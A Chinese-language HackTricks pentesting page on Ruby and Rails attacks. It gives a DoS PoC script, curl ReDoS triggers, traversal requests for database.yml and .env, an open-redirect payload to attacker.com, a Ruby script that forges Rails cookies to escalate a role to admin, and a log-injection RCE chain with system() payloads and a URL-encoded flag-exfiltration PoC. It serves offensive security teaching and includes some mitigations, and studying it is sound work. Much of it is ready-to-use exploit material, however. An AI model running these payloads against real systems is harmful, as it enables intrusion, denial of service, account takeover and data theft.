Ruby 技巧

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

File upload to RCE

正如 this article 所述,将 .rb 文件上传到诸如 config/initializers/ 之类的敏感目录,可能导致 Ruby on Rails 应用的远程代码执行 (RCE)。

提示:

  • 其他在应用启动时执行的 boot/eager-load 位置在可写时也存在风险(例如,config/initializers/ 是经典的例子)。如果发现任意文件上传落在 config/ 下的任意位置并在随后被 evaluate/require,你可能在启动时获得 RCE。
  • 寻找会将用户可控文件复制到容器镜像中并在 Rails 启动时加载的 dev/staging 构建。

Active Storage image transformation → command execution (CVE-2025-24293)

当应用使用 Active Storage 且同时使用 image_processing + mini_magick,并将不受信任的参数传递给图像转换方法时,Rails 早于 7.1.5.2 / 7.2.2.2 / 8.0.2.1 的版本可能允许命令注入,因为某些转换方法被错误地默认允许。

  • 易受影响的模式例如:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

其中 params[:t] 和/或 params[:v] 可被攻击者控制。

  • 测试时要尝试的内容

  • 识别接受 variant/processing 选项、转换名称或任意 ImageMagick 参数的端点。

  • params[:t]params[:v] 进行模糊测试,观察可疑错误或执行副作用。如果你能影响方法名或传入到 MiniMagick 的原始参数,可能在图像处理主机上获得代码执行。

  • 如果你仅对生成的 variants 有读取权限,可尝试通过精心构造的 ImageMagick 操作进行盲外泄。

  • 修复/检测

  • 如果发现 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 且使用 Active Storage + image_processing + mini_magick 并存在用户可控的转换,则应视为可利用。建议升级并强制对方法/参数使用严格的允许列表,以及采用强化的 ImageMagick 策略。

Rack::Static LFI / path traversal (CVE-2025-27610)

如果目标栈直接或通过框架使用 Rack middleware,rack 早于 2.2.13、3.0.14 和 3.1.12 的版本在 :root 未设置或配置错误时,允许通过 Rack::Static 进行本地文件包含 (LFI)。在 PATH_INFO 中的编码遍历可能会暴露进程工作目录或非预期根目录下的文件。

  • 寻找在 config.ru 或 middleware 栈中挂载 Rack::Static 的应用。对静态路径尝试编码遍历,例如:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

根据配置的 urls: 调整前缀。如果应用返回了文件内容,你很可能对解析出的 :root 下的任何内容有 LFI。

  • 缓解:升级 Rack;确保 :root 只指向公开文件目录并明确设置。

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 和 < 2.2.8.1 在解析精心构造的 Content-Type: multipart/form-data 头时会消耗超线性时间。一次包含巨量 A= 参数列表的 POST 可以挂起一个 Puma/Unicorn worker 并导致 DoS 或请求队列饥饿。

  • 快速 PoC(会挂起一个 worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • 针对任何基于 Rack 的栈(Rails/Sinatra/Hanami/Grape)均有效。如果前端由 nginx/haproxy 且启用 keep-alive,可并行重复以耗尽 worker。
  • 已通过使解析器线性化来修补;查找 rack gem 版本 < 3.0.9.1 或 < 2.2.8.1。在评估中指出 WAF 通常不会阻止此类请求,因为该头在语法上是有效的。

REXML XML parser ReDoS (CVE-2024-49761)

REXML gem < 3.3.9(Ruby 3.1 及更早版本)在解析包含长数字序列的十六进制数值字符引用(例如 &#1111111111111x41;)时会发生灾难性回溯。任何由 REXML 或封装其的库(SOAP/XML API 客户端、SAML、SVG 上传)处理的 XML 都可被利用进行 CPU 耗尽。

Minimal trigger against a Rails endpoint that parses XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

如果进程持续忙碌数秒且 worker 的 CPU 出现峰值,则很可能存在漏洞。攻击带宽低,也会影响处理 XML 的后台任务。

使用 cgi gem(在许多 Rack 堆栈中为默认)的应用可以被单个恶意头部冻结:

  • CGI::Cookie.parse 表现为超线性;巨大的 cookie 字符串(成千上万的分隔符)会触发 O(N²) 行为。
  • CGI::Util#escapeElement 的正则允许对 HTML escaping 进行 ReDoS。

两个问题已在 cgi 0.3.5.1 / 0.3.7 / 0.4.2 中修复。对于 pentests,可发送巨量的 Cookie: 头部或将不受信任的 HTML 输入到辅助代码,观察 worker 锁死。结合 keep-alive 可放大影响。

googlesign_in gem < 1.3.0(用于 Rails 的 Google OAuth)对 proceedto 参数执行了不完整的 same-origin 检查。像 proceedto=//attacker.com/%2F.. 这样的畸形 URL 可以绕过检查,并在重定向用户到站外的同时保留 Rails flash/session cookies。

攻击流程:

  1. 受害者点击由攻击者托管的精心构造的 Google Sign-In 链接。
  2. 认证后,该 gem 重定向到攻击者可控的域,泄露 flash 通知或任何存储在通配域作用域内的 cookies 数据。
  3. 如果应用在 flash 中存储短期令牌或 magic links,则可被利用为接管账户。

测试时,grep Gemfile.lock 查找 googlesign_in < 1.3.0 并尝试畸形的 proceedto 值。通过 Location header 和 cookie 反射进行确认。

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails 使用从 secret_key_base 派生的密钥对 cookies 进行加密和签名。如果该值 leaks(例如,出现在仓库、日志或配置错误的凭据中),通常可以解密、修改并重新加密 cookies。如果应用在 cookies 中存储角色、用户 ID 或功能标志,这通常会导致权限绕过。

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

用于解密/伪造 cookies 的 Ruby ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
注意事项:
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.

## 另请参阅(Ruby/Rails-specific vulns)

- Ruby 反序列化和类污染:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Ruby 引擎中的模板注入(ERB/Haml/Slim 等):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## 日志注入 → 通过 Ruby `load` 和 `Pathname.cleanpath` 的路径走私实现 RCE

当一个应用(通常是简单的 Rack/Sinatra/Rails 端点)同时满足:
- 原样记录用户控制的字符串,且
- 随后 `load` 一个其路径来源于同一字符串(经过 `Pathname#cleanpath` 之后)的文件,

通常可以通过污染日志并诱使应用 `load` 该日志文件来实现远程代码执行。关键原语:

- Ruby 的 `load` 会将目标文件内容按 Ruby 解析并执行,而不考虑文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby,就会被执行。
- `Pathname#cleanpath` 在不访问文件系统的情况下合并 `.` 和 `..` 段,从而实现路径走私:可将攻击者控制的垃圾前缀写入日志,而清理后的路径仍然解析到要执行的目标文件(例如 `../logs/error.log`)。

### 最小易受攻击模式
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

为什么日志可能包含有效的 Ruby 代码

Logger writes prefix lines like:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

在 Ruby 中,# 开始一条注释,9/2/2025 只是算术。要注入有效的 Ruby 代码,你需要:

  • 在新行开始你的 payload,这样它不会被 INFO 行中的 # 注释掉;发送一个前导换行符 (\n%0A)。
  • 关闭 INFO 行引入的悬空 [。一个常用技巧是以 ] 开始,并可选地用 ][0]=1 让解析器开心。
  • 然后放入任意 Ruby 代码(例如 system(...))。

下面是使用精心构造的参数发出一次请求后,最终会出现在日志中的示例:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

用单个字符串同时记录代码并解析为日志路径

我们希望得到一个由攻击者控制的字符串,该字符串需要满足:

  • 在被原样记录时,包含我们的 Ruby payload,
  • 当通过 Pathname.new(<input>).cleanpath 处理时,解析为 ../logs/error.log,因此后续的 load 会执行刚被注入的日志文件。

Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的写法可行:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • :// 之前添加 # 可以确保 Ruby 在执行日志时忽略尾部,而 cleanpath 仍会将后缀缩减为 ../logs/error.log
  • 前导换行符会跳出 INFO 行; ] 关闭了攗挂的括号; ][0]=1 满足了解析器。

端到端利用

  1. 将以下内容作为 backup script 名称发送(如有需要,请将第一个换行符 URL 编码为 %0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. 应用会将你原始的字符串记录到 logs/error.log
  2. 应用会计算 cleanpath,其解析结果为 ../logs/error.log,并对其调用 load
  3. Ruby 会执行你注入到日志中的代码。

要在类似 CTF 的环境中外传文件:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC(第一个字符为换行符):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks